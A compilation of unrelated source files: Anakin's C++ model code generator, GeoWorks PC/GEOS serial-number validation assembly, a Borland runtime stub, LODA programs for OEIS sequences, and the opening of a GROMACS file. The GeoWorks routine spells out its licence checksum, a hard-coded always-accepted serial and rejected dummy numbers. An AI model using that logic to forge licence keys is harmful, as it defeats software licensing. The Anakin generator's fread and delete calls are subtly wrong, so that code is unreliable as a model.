}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_header_end() {
_code<<"} /* namespace anakin */\n";
_code<<"\n#endif\n";
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_source_start() {
_code.Clean();
_code.feed("#include \"%s.h\" \n\n", _code_name.c_str());
_code<<"namespace anakin { \n\n";
// add running impl for model api
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_source_end() {
_code<<"} /* namespace anakin */\n";
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_tensors() {
_code<<"\n// generating tensors \n";
for(auto it = this->_tensor_map.begin(); it != this->_tensor_map.end(); ++it) {
auto& edge_name = it->first;
auto& edge_info = it->second;
if(! edge_info.is_shared) {
_code.feed("Tensor<CPU, AK_FLOAT> %s;\n", edge_name.c_str());
_code.feed("Shape %s_real_shape(%d,%d,%d,%d);\n", edge_name.c_str(), edge_info.real_shape[0],
edge_info.real_shape[1],
edge_info.real_shape[2],
edge_info.real_shape[3]);
_code.feed("Shape %s_valid_shape(%d,%d,%d,%d);\n", edge_name.c_str(), edge_info.valid_shape[0],
edge_info.valid_shape[1],
edge_info.valid_shape[2],
edge_info.valid_shape[3]);
}
}
for(auto it = this->_tensor_map.begin(); it != this->_tensor_map.end(); ++it) {
auto& edge_name = it->first;
auto& edge_info = it->second;
if(edge_info.is_shared) {
_code.feed("Tensor<CPU, AK_FLOAT> %s;\n", edge_name.c_str());
_code.feed("Shape %s_valid_shape(%d,%d,%d,%d);\n", edge_name.c_str(), edge_info.valid_shape[0],
edge_info.valid_shape[1],
edge_info.valid_shape[2],
edge_info.valid_shape[3]);
}
}
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::tensors_init() {
_code<<"\n// initialize tensors \n";
_code.feed("void %s_tensors_init() {\n", _code_name.c_str());
for(auto it = this->_tensor_map.begin(); it != this->_tensor_map.end(); ++it) {
auto& edge_name = it->first;
auto& edge_info = it->second;
if(! edge_info.is_shared) {
_code.feed(" %s.re_alloc(%s_real_shape);\n", edge_name.c_str(), edge_name.c_str());
_code.feed(" %s.set_shape(%s_valid_shape);\n", edge_name.c_str(), edge_name.c_str());
}
}
for(auto it = this->_tensor_map.begin(); it != this->_tensor_map.end(); ++it) {
auto& edge_name = it->first;
auto& edge_info = it->second;
if(edge_info.is_shared) {
_code.feed(" %s.set_shape(%s_valid_shape);\n", edge_name.c_str(), edge_name.c_str());
_code.feed(" %s.share_from(%s);\n", edge_name.c_str(), edge_info.share_from.c_str());
}
}
_code<<"}\n";
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_model_ios() {
_code<<"\n// generating model's I/O \n";
for(auto & node_name : this->_exec_node_order) {
auto& node_info = this->_graph_node_map[node_name];
_code.feed("std::vector<Tensor<CPU, AK_FLOAT>*> %s_ins;\n", node_name.c_str());
_code.feed("std::vector<Tensor<CPU, AK_FLOAT>*> %s_outs;\n", node_name.c_str());
}
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::model_ios_init() {
_code<<"\n// initialize model's I/O \n";
_code.feed("void %s_model_ios_init() {\n", _code_name.c_str());
for(auto & node_name : this->_exec_node_order) {
auto& node_info = this->_graph_node_map[node_name];
for(auto &edge_in : node_info.ins) {
_code.feed(" %s_ins.push_back(&%s);\n", node_name.c_str(), edge_in.c_str());
}
for(auto &edge_out : node_info.outs) {
_code.feed(" %s_outs.push_back(&%s);\n", node_name.c_str(), edge_out.c_str());
}
}
_code<<"}\n";
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_ops() {
_code<<"\n// generating model's operations\n";
for(auto & node_name : this->_exec_node_order) {
if(this->_graph_node_map[node_name].op_name == "Input" || this->_graph_node_map[node_name].op_name == "Output") {
continue;
}
auto& node_info = this->_graph_node_map[node_name];
if(OPERATION_MAP.count(node_info.op_name) > 0) {
_code.feed("%s %s; \n", OPERATION_MAP[node_info.op_name].OpClassName.c_str(), node_name.c_str());
}
}
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_init_impl() {
_code<<"// initial function for model.\n";
_code.feed("void %s_init(Context& ctx) {\n", _code_name.c_str());
for(auto & node_name : this->_exec_node_order) {
if(this->_graph_node_map[node_name].op_name == "Input" || this->_graph_node_map[node_name].op_name == "Output") {
continue;
}
auto& node_info = this->_graph_node_map[node_name];
if(OPERATION_MAP.count(node_info.op_name) > 0) {
_code.feed(" %s.compute_output_shape(%s_ins,%s_outs); \n", node_name.c_str(),
node_name.c_str(),
node_name.c_str());
_code.feed(" %s.init(%s_ins,%s_outs,ctx); \n", node_name.c_str(),
node_name.c_str(),
node_name.c_str());
}
}
_code << "}\n";
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_run_impl() {
_code << "// Running prediction for model. \n";
_code.feed("void %s_prediction() {\n", _code_name.c_str());
for(auto & node_name : this->_exec_node_order) {
if(this->_graph_node_map[node_name].op_name == "Input" || this->_graph_node_map[node_name].op_name == "Output") {
continue;
}
auto& node_info = this->_graph_node_map[node_name];
if(OPERATION_MAP.count(node_info.op_name) > 0) {
_code.feed(" %s.compute_output_shape(%s_ins,%s_outs); \n", node_name.c_str(),
node_name.c_str(),
node_name.c_str());
_code.feed(" %s.dispatch(%s_ins,%s_outs); \n", node_name.c_str(),
node_name.c_str(),
node_name.c_str());
}
}
_code << "}\n";
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_head_api() {
// gen gloss for graph ins
_code << "/// Model "<< _code_name << " have " << this->_ins.size() << " inputs.\n";
for(auto in : this->_ins) {
auto& node_info = this->_graph_node_map[in];
auto& edge_info = this->_tensor_map[node_info.outs[0]];
_code << "/// |-- input name : " << in << " -- Shape(";
std::string shape_str;
for(int i=0; i<edge_info.valid_shape.size() - 1; i++) {
_code << edge_info.valid_shape[i] << ",";
}
if(edge_info.valid_shape.size() > 0) {
_code << edge_info.valid_shape[edge_info.valid_shape.size() - 1] << ")\n";
} else {
_code << ")\n";
}
}
// gen api for getting graph input tensor
_code << "LITE_EXPORT Tensor<CPU, AK_FLOAT>* get_in(const char* in_name);\n\n";
// gen gloss for graph outs
_code << "/// Model " << _code_name << " have " << this->_outs.size() << " outputs.\n";
for(auto out : this->_outs) {
auto& node_info = this->_graph_node_map[out];
auto& edge_info = this->_tensor_map[node_info.ins[0]];
_code << "/// |-- output name : " << out << " -- Shape(";
for(int i=0; i<edge_info.valid_shape.size() - 1; i++) {
_code << edge_info.valid_shape[i] << ",";
}
if(edge_info.valid_shape.size() > 0) {
_code << edge_info.valid_shape[edge_info.valid_shape.size() - 1] << ")\n";
} else {
_code << ")\n";
}
}
// gen api for getting graph output tensor
_code << "LITE_EXPORT Tensor<CPU, AK_FLOAT>* get_out(const char* out_name);\n\n";
// gen weights loading function
_code.feed("LITE_EXPORT bool %s_load_param(const char* param_path);\n\n", _code_name.c_str());
// gen api for model init
_code.feed("/// %s_init should only be invoked once when input shape changes.\n", _code_name.c_str());
_code.feed("LITE_EXPORT void %s_init(Context& ctx);\n\n", _code_name.c_str());
// gen api for model prediction
_code.feed("/// Running prediction for model %s.\n", _code_name.c_str());
_code.feed("LITE_EXPORT void %s_prediction();\n\n", _code_name.c_str());
// gen free function
_code.feed("/// Release all resource used by model %s.\n", _code_name.c_str());
_code.feed("LITE_EXPORT void %s_release_resource();\n\n", _code_name.c_str());
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_head_api_impl() {
// gen api for getting graph input tensor
_code << "\n// gen api for getting graph input tensor \n";
_code << "Tensor<CPU, AK_FLOAT>* get_in(const char* in_name) {\n";
_code.feed(" if(strcmp(in_name, \"%s\") == 0) {\n", this->_ins[0].c_str());
auto node_info = this->_graph_node_map[this->_ins[0]];
auto edge_info = this->_tensor_map[node_info.outs[0]];
_code.feed(" return &%s;\n }", edge_info.name.c_str());
for(int i = 1; i < this->_ins.size(); i++) {
node_info = this->_graph_node_map[this->_ins[i]];
edge_info = this->_tensor_map[node_info.outs[0]];
_code.feed(" else if(strcmp(in_name, \"%s\") == 0) {\n", this->_ins[i].c_str());
_code.feed(" return &%s;\n }\n", edge_info.name.c_str());
}
_code <<" else {\n return nullptr;\n }\n";
_code <<"}\n";
// gen api for getting graph output tensor
_code << "\n// gen api for getting graph output tensor \n";
_code << "Tensor<CPU, AK_FLOAT>* get_out(const char* out_name) {\n";
_code.feed(" if(strcmp(out_name, \"%s\") == 0) {\n", this->_outs[0].c_str());
node_info = this->_graph_node_map[this->_outs[0]];
edge_info = this->_tensor_map[node_info.ins[0]];
_code.feed(" return &%s;\n }", edge_info.name.c_str());
for(int i = 1; i < this->_outs.size(); i++) {
node_info = this->_graph_node_map[this->_outs[i]];
edge_info = this->_tensor_map[node_info.ins[0]];
_code.feed(" else if(strcmp(out_name ,\"%s\") == 0) {\n", this->_outs[i].c_str());
_code.feed(" return &%s;\n }\n", edge_info.name.c_str());
}
_code <<" else {\n return nullptr;\n }\n";
_code <<"}\n\n";
// gen weights loading function
_code.feed("float *%s = nullptr; // global weights start pointer \n", _g_weights_ptr_name.c_str());
_code.feed("bool %s_load_param(const char* param_path) {\n", _code_name.c_str());
_code << " FILE *f = fopen(param_path, \"rb\"); \n";
_code << " if(!f) {\n";
_code << " return false;\n }\n";
_code << " fseek(f, 0, SEEK_END);\n";
_code << " long fsize = ftell(f);\n";
_code << " fseek(f, 0, SEEK_SET);\n";
_code.feed(" %s = new float[fsize + 1];\n", _g_weights_ptr_name.c_str());
_code.feed(" fread(%s, fsize, sizeof(float), f);\n", _g_weights_ptr_name.c_str());
_code << " fclose(f);\n";
_code.feed(" %s_tensors_init();\n", _code_name.c_str()); // invoke (model_name)_tensors_init()
_code.feed(" %s_model_ios_init();\n", _code_name.c_str()); // invoke (model_name)_model_ios_init()
for(auto & node_name : this->_exec_node_order) {
if(this->_graph_node_map[node_name].op_name == "Input" || this->_graph_node_map[node_name].op_name == "Output") {
continue;
}
auto& node_info = this->_graph_node_map[node_name];
auto& attr_info = this->_graph[node_name]->attr();
if(OPERATION_MAP.count(node_info.op_name) > 0) {
LOG(INFO) << "Target op type : " << this->_graph_node_map[node_name].op_name << " parsing ...";
auto str = OPERATION_MAP[node_info.op_name].parse(attr_info,
OPERATION_MAP[node_info.op_name].OpClassName,
node_name,
_g_weights_ptr_name,
_weights);
if(!str.empty()) {
_code.feed(" %s", str.c_str());
}
} else {
LOG(WARNING) << "Target op type : " << this->_graph_node_map[node_name].op_name << " not support";
}
}
_code << " return true;\n";
_code <<"}\n\n";
// release all resource function impl
_code.feed("void %s_release_resource() {\n", _code_name.c_str());
_code.feed(" delete %s;\n", _g_weights_ptr_name.c_str());
_code.feed(" %s = nullptr;\n", _g_weights_ptr_name.c_str());
_code <<"}\n\n";
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_header() {
_code.Clean();
_code.open(_h_file_name);
gen_header_start();
// gen api
gen_head_api();
gen_header_end();
_code.save();
}
template<typename Ttype, DataType Dtype, Precision Ptype>
void GenCPP<Ttype, Dtype, Ptype>::gen_source() {
_code.Clean();
_code.open(_cpp_file_name);
gen_source_start();
// generate tensors
gen_tensors();
// tensors init
tensors_init();
// generate i/o
gen_model_ios();
// initial model i/o
model_ios_init();
// generate ops
gen_ops();
// gen head api implement
gen_head_api_impl();
// gen initial api impl
gen_init_impl();
// gen running api impl
gen_run_impl();
gen_source_end();
_code.save();
}
#ifdef USE_CUDA
template class GenCPP<NV, AK_FLOAT, Precision::FP32>;
template class GenCPP<NV, AK_FLOAT, Precision::FP16>;
template class GenCPP<NV, AK_FLOAT, Precision::INT8>;
#endif
#ifdef USE_X86_PLACE
template class GenCPP<X86, AK_FLOAT, Precision::FP32>;
template class GenCPP<X86, AK_FLOAT, Precision::FP16>;
template class GenCPP<X86, AK_FLOAT, Precision::INT8>;
#endif
#ifdef USE_ARM_PLACE
template class GenCPP<ARM, AK_FLOAT, Precision::FP32>;
template class GenCPP<ARM, AK_FLOAT, Precision::FP16>;
template class GenCPP<ARM, AK_FLOAT, Precision::INT8>;
#endif
} /* namespace lite */
} /* namespace anakin */
|
COMMENT @-----------------------------------------------------------------------
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: setupSerialNum.asm
AUTHOR: Cheng, 6/90
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 6/90 Initial revision
Adam 10/90 Substantial revision to add extended mouse
driver support.
brianc 10/92 Copied as template for serial number
DESCRIPTION:
$Id: setupSerialNum.asm,v 1.1 97/04/04 16:28:14 newdeal Exp $
-------------------------------------------------------------------------------@
SERIAL_NUMBER_BUFFER_SIZE equ 32
COMMENT @-----------------------------------------------------------------------
FUNCTION: SetupSerialNumberEntered
DESCRIPTION: Verify serial number entered by user.
CALLED BY: MSG_SETUP_SERIAL_NUMBER_ENTERED
PASS: ds,es - dgroup
RETURN: nothing
DESTROYED: ax,bx,cx,dx,di,si
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 6/90 Initial version
Adam 10/90 Revised for extended drivers
brianc 10/92 Modified for serial number
-------------------------------------------------------------------------------@
NUM_SERIAL_DIGITS equ 16
SBCS <FIRST_CHECKSUM_OFFSET equ 9 >
SBCS <SECOND_CHECKSUM_OFFSET equ 19 >
DBCS <FIRST_CHECKSUM_OFFSET equ 9*(size wchar) >
DBCS <SECOND_CHECKSUM_OFFSET equ 19*(size wchar) >
SBCS <laserSerial char "1000-0022-0278-1056",0 >
DBCS <laserSerial wchar "1000-0022-0278-1056",0 >
SetupSerialNumberEntered method SetupClass, MSG_SETUP_SERIAL_NUMBER_ENTERED
SBCS <destBuffer local SERIAL_NUMBER_BUFFER_SIZE dup (char) >
DBCS <destBuffer local SERIAL_NUMBER_BUFFER_SIZE dup (wchar) >
SBCS <srcBuffer local SERIAL_NUMBER_BUFFER_SIZE dup (char) >
DBCS <srcBuffer local SERIAL_NUMBER_BUFFER_SIZE dup (wchar) >
.enter
push bp
mov dx, ss ;DX:BP <- ptr to dest buffer
lea bp, srcBuffer
mov ax, MSG_VIS_TEXT_GET_ALL_PTR
mov bx, handle SerialNumberEntry
mov si, offset SerialNumberEntry
mov di, mask MF_CALL
call ObjMessage
pop bp
segmov es, ss
lea di, destBuffer ;ES:DI <- ptr to dest buffer
segmov ds, ss ;DS:SI <- ptr to source buffer
lea si, srcBuffer
tst cx
LONG jz badSerialNumber
clr cx ;CX <- serial number current
; value.
mov dx, cx ;DX <- current # digits read
30$:
; Top of loop:
; DS:SI <- ptr to next digit in string
; CH <- checksum #1 (to this point)
; CL <- checksum #2 (to this point)
; DL <- # digits read
SBCS < lodsb >
SBCS < tst al ;If at end of string, branch>
DBCS < lodsw >
DBCS < tst ax ;If at end of string, branch>
jz doneString ;
; CONVERT ASCII DIGIT TO NUMERAL
;
; Get one digit at a time, ignoring all non-digits. Add up all the
; digits, ignoring the 2 checksum digits (digit 8 and digit 16).
;
DBCS < tst ah >
DBCS < jnz 30$ ;ignore if non-numeric >
mov ah, al ;Move digit to AH for
; conversion from ASCII to
; hex.
sub ah, '0' ;Skip if non-numeric
js 30$ ;
cmp ah, 9 ;
ja 30$ ;
SBCS < stosb ;Copy over the serial number>
DBCS < push ax >
DBCS < clr ah >
DBCS < stosw ;Copy over the serial number>
DBCS < pop ax >
inc dx ;DX <- # digits read
; INSERT A DASH EVERY 4TH DIGIT
test dl, 0x03 ;Is DX a multiple of 4?
jnz 40$ ;Branch if not.
cmp dl, NUM_SERIAL_DIGITS ;If this is the last digit,
jae 30$ ; do not add a dash, and loop
SBCS < mov al, '-' ; back to get the next #>
SBCS < stosb ; >
DBCS < mov ax, '-' ; back to get the next #>
DBCS < stosw ; >
40$:
;
; See the serial number spec for more information on the checksum
; generation. I will not go into it in much detail here.
;
test dl, 0x03 ;Should we subtract this one?
jpo notNeg ;If this is the 3rd or 4th
; number, we do not subtract.
neg ah ;If we should subtract it,
; negate the value.
notNeg:
test dl, 0x01 ;Alternating digits get added/
jz secondChecksum ; subtracted to different
add ch, ah ; checksum digits.
jmp 30$ ;
secondChecksum:
add cl, ah ;
jmp 30$ ;
doneString:
SBCS < clr al ;Null terminate the string.>
SBCS < stosb ; >
DBCS < clr ax ;Null terminate the string.>
DBCS < stosw ; >
;
;ES:DI <- pts to beyond the string in the dest buf (to the null)
;CX <- sum of all the digits (except the checksums)
;
; CHECK TO SEE IF THIS IS THE LASER SERIAL NUMBER
push cx, di
lea di, destBuffer ;ES:DI <- ptr to serial #
mov cx, size laserSerial
segmov ds, cs ;DS:SI <- ptr to laser serial
mov si, offset laserSerial
repe cmpsb
pop cx, di
jz goodSerialNumber ;If we match the laser serial
; number, then branch.
call CheckIfCannedNumber
jz badSerialNumber
cmp dx, NUM_SERIAL_DIGITS ;
jne badSerialNumber
test ch, 0x80 ;If either checksum digit is
jz firstNotNeg ; negative, convert it to be
neg ch ; positive before moding it.
firstNotNeg:
test cl, 0x80
jz secondNotNeg
neg cl
secondNotNeg:
mov al, ch ;AL <- first checksum #
clr ah
mov ch, 10 ;
div ch ;AL <- first checksum div 10
;AH <- first checksum mod 10
add ah, '0' ;Convert to a digit
;
; Compare checksum #2
;
SBCS < cmp ah, ss:[destBuffer][FIRST_CHECKSUM_OFFSET-1] >
;DBCS: assume high byte is zero and check low byte only
DBCS < cmp ah, {char} ss:[destBuffer][FIRST_CHECKSUM_OFFSET-2] >
jne badSerialNumber ;Whine if mismatch
mov al, cl ;AL <- second checksum #
clr ah
div ch ;AL <- second checksum div 10
;AH <- second checksum mod 10
add ah, '0' ;Convert to a digit
;
; Compare checksum #1
;
SBCS < cmp ah, ss:[destBuffer][SECOND_CHECKSUM_OFFSET-1] >
;DBCS: assume high byte is zero and check low byte only
DBCS < cmp ah, {char} ss:[destBuffer][SECOND_CHECKSUM_OFFSET-2] >
jz goodSerialNumber
badSerialNumber:
; PUT UP THE BAD SERIAL NUMBER BOX
push bp
mov bp, offset badSerialNumberString
call MyError
pop bp
jmp short exit
; WE HAVE A GOOD SERIAL NUMBER HERE, SO THANK THE USER AND CONTINUE.
goodSerialNumber:
; Insert the serial number into the middle of the text
push bp
mov cx, ss
lea dx, destBuffer
mov bx, handle SerialNumberGoodText
mov si, offset SerialNumberGoodText
mov ax, MSG_STD_REPLACE_PARAM
mov di, mask MF_CALL
call ObjMessage
mov bx, handle SerialNumberGoodScreen
mov si, offset SerialNumberGoodScreen
mov ax, MSG_GEN_INTERACTION_INITIATE
clr di
call ObjMessage
pop bp
; WRITE SERIAL NUMBER TO .INI FILE
segmov es, ss
lea di, destBuffer
mov cx, cs
mov ds, cx
mov dx, offset serNumKey
mov si, offset serNumCategory
call InitFileWriteString
exit:
.leave
ret
SetupSerialNumberEntered endm
serNumKey char "serialnumber",0
serNumCategory char "system",0
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckIfCannedNumber
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks if the # the user entered was one of the canned
invalid numbers.
CALLED BY: GLOBAL
PASS: ES:DI <- pts to beyond the string in the dest buf (to the null)
ES:BP <- pts to the beginning of the string in the dest buf
CX <- sum of all the digits (except the checksums)
DS <- code segment
RETURN: Z flag set if number was invalid
DESTROYED: SI
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 8/20/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if DBCS_PCGEOS
zeroSerial wchar "0000-0000-0000-0000",0
twoOneSerial wchar "2111-1111-1111-1111",0
oneFourSerial wchar "1111-1111-1111-1114",0
else
zeroSerial char "0000-0000-0000-0000",0
twoOneSerial char "2111-1111-1111-1111",0
oneFourSerial char "1111-1111-1111-1114",0
endif
CheckIfCannedNumber proc near
uses di, cx
.enter
mov si, offset zeroSerial
mov cx, size zeroSerial
mov di, bp
repe cmpsb
je exit
mov di, bp
mov cx, size twoOneSerial
mov si, offset twoOneSerial
repe cmpsb
je exit
mov di, bp
mov cx, size oneFourSerial
mov si, offset oneFourSerial
repe cmpsb
exit:
.leave
ret
CheckIfCannedNumber endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetupSerialNumberEnterLater
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Let user do nothing about serial number.
CALLED BY: MSG_SETUP_SERIAL_NUMBER_ENTER_LATER
PASS: ds = es = dgroup
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, es, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/6/90 Initial version
brianc 10/92 Modified for serial number
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetupSerialNumberEnterLater method SetupClass, MSG_SETUP_SERIAL_NUMBER_ENTER_LATER
.enter
mov si, offset InstallDoneText
call SetupComplete
.leave
ret
SetupSerialNumberEnterLater endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetupSerialNumberComplete
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Acknowledge user acknowledgement of good serial number.
CALLED BY: MSG_SETUP_SERIAL_NUMBER_COMPLETE
PASS: ds = es = dgroup
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, es, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/6/90 Initial version
brianc 10/92 Modified for serial number
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetupSerialNumberComplete method SetupClass, MSG_SETUP_SERIAL_NUMBER_COMPLETE
.enter
mov si, offset InstallDoneText
call SetupComplete
.leave
ret
SetupSerialNumberComplete endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetupAskForSerialNumber?
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Check if we should ask for serial number.
CALLED BY: EXTERNAL
at completion of mouse portion of setup
PASS: ds = es = dgroup
RETURN: carry set if we should ask for serial number
carry clear otherwise
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
For now, just check of existance of serial number key
in .ini file.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 10/30/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetupAskForSerialNumber? proc far
uses ax, cx, dx, bp, ds, si, es, di
.enter
mov cx, cs
mov ds, cx
mov dx, offset serNumKey
mov si, offset serNumCategory
push ax ; allocate two bytes on stack
DBCS < push ax ; allocate space for null >
segmov es, ss ; es:di = word just pushed on stack
mov di, sp
;
; one byte+null on stack
;
DBCS < mov bp, InitFileReadFlags <IFCC_INTACT,,,4> >
SBCS < mov bp, InitFileReadFlags <IFCC_INTACT,,,2> >
call InitFileReadString ; carry clear if found
pop ax ; deallocate
DBCS < pop ax >
; exit with carry set if we should ask
; (i.e. serial number not found)
.leave
ret
SetupAskForSerialNumber? endp
|
;----------------------------------------------------------------------
; stpcpy.asm - user-callable entry point to _stpcpy() function.
;----------------------------------------------------------------------
;
; C/C++ Run Time Library - Version 10.0
;
; Copyright (c) 1991, 2000 by Inprise Corporation
; All Rights Reserved.
;
; $Revision: 9.0 $
include rules.asi
include entry.inc
Entry@ stpcpy, _stpcpy, _RTLENTRYF, 8
end
|
; A094014: Expansion of (1-2x)/(1-8x^2).
; 1,-2,8,-16,64,-128,512,-1024,4096,-8192,32768,-65536,262144,-524288,2097152,-4194304,16777216,-33554432,134217728,-268435456,1073741824,-2147483648,8589934592,-17179869184,68719476736,-137438953472
add $0,2
mov $1,3
mov $2,4
mov $4,1
lpb $0,1
sub $0,1
mod $3,2
sub $4,$2
mul $1,$4
mul $1,2
mov $2,$3
add $2,1
mov $3,$0
sub $4,$4
lpe
add $4,1
sub $1,$4
sub $1,35
div $1,36
add $1,1
|
; A131914: 3*A002024 - 2*A051340.
; 1,4,2,7,5,3,10,8,6,4,13,11,9,7,5,16,14,12,10,8,6,19,17,15,13,11,9,7,22,20,18,16,14,12,10,8,25,23,21,19,17,15,13,11,9,28,26,24,22,20,18,16,14,12,10
mov $3,$0
seq $3,2024 ; n appears n times; a(n) = floor(sqrt(2n) + 1/2).
mov $2,$3
sub $3,$0
mov $1,$3
add $1,$3
pow $2,2
add $1,$2
sub $1,2
mov $0,$1
|
; A181617: Molecular topological indices of the complete graph K_n.
; 0,4,24,72,160,300,504,784,1152,1620,2200,2904,3744,4732,5880,7200,8704,10404,12312,14440,16800,19404,22264,25392,28800,32500,36504,40824,45472,50460,55800,61504,67584,74052,80920,88200,95904,104044,112632,121680,131200,141204,151704,162712,174240,186300,198904,212064,225792,240100,255000,270504,286624,303372,320760,338800,357504,376884,396952,417720,439200,461404,484344,508032,532480,557700,583704,610504,638112,666540,695800,725904,756864,788692,821400,855000,889504,924924,961272,998560,1036800,1076004,1116184,1157352,1199520,1242700,1286904,1332144,1378432,1425780,1474200,1523704,1574304,1626012,1678840,1732800,1787904,1844164,1901592,1960200
sub $1,$0
bin $1,2
mul $1,$0
mul $1,4
mov $0,$1
|
/*
* This file is part of the GROMACS molecular simulation package.
*
* Copyright (c) 2015,2016,2017,2018,2019 by the GROMACS development team.
* Copyright (c) 2020,2021, by the GROMACS development team, led by
* Mark Abraham, David van der Spoel, Berk Hess, and Erik Lindahl,
* and including many others, as listed in the AUTHORS file in the
* top-level source directory and at http://www.gromacs.org.
*
* GROMACS is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public License
* as published by the Free Software Foundation; either version 2.1
* of the License, or (at your option) any later version.
*
* GROMACS is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with GROMACS; if not, see
* http://www.gnu.org/licenses, or write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*
* If you want to redistribute modifications to GROMACS, please
* consider that scientific software is very special. Version
* control is crucial - bugs must be traceable. We will be happy to
* consider code for inclusion in the official distribution, but
* derived work must not be called official GROMACS. Details are found
* in the README & COPYING files - if they are missing, get the
* official version at http://www.gromacs.org.
*
* To help us fund GROMACS development, we humbly ask that you cite
* the research papers on the package. Check out http://www.gromacs.org.
*/
/*! \internal \file
* \brief Defines utility functionality for dividing resources and
* checking for consistency and usefulness.
*
* \author Mark Abraham <mark.j.abraham@gmail.com>
* \ingroup module_taskassignment
*/
#include "gmxpre.h"
#include "resourcedivision.h"
#include "config.h"
#include <cstdlib>
#include <cstring>
#include <algorithm>
#include <array>
#include "gromacs/ewald/pme.h"
#include "gromacs/hardware/cpuinfo.h"
#include "gromacs/hardware/detecthardware.h"
#include "gromacs/hardware/hardwaretopology.h"
#include "gromacs/hardware/hw_info.h"
#include "gromacs/math/functions.h"
#include "gromacs/mdlib/gmx_omp_nthreads.h"
#include "gromacs/mdrunutility/multisim.h"
#include "gromacs/mdtypes/commrec.h"
#include "gromacs/mdtypes/inputrec.h"
#include "gromacs/mdtypes/md_enums.h"
#include "gromacs/topology/mtop_util.h"
#include "gromacs/topology/topology.h"
#include "gromacs/utility/baseversion.h"
#include "gromacs/utility/fatalerror.h"
#include "gromacs/utility/gmxassert.h"
#include "gromacs/utility/logger.h"
#include "gromacs/utility/physicalnodecommunicator.h"
#include "gromacs/utility/stringutil.h"
/* DISCLAIMER: All the atom count and thread numbers below are heuristic.
* The real switching points will depend on the system simulation,
* the algorithms used and the hardware it's running on, as well as if there
* are other jobs running on the same machine. We try to take into account
* factors that have a large influence, such as recent Intel CPUs being
* much better at wide multi-threading. The remaining factors should
* (hopefully) have a small influence, such that the performance just before
* and after a switch point doesn't change too much.
*/
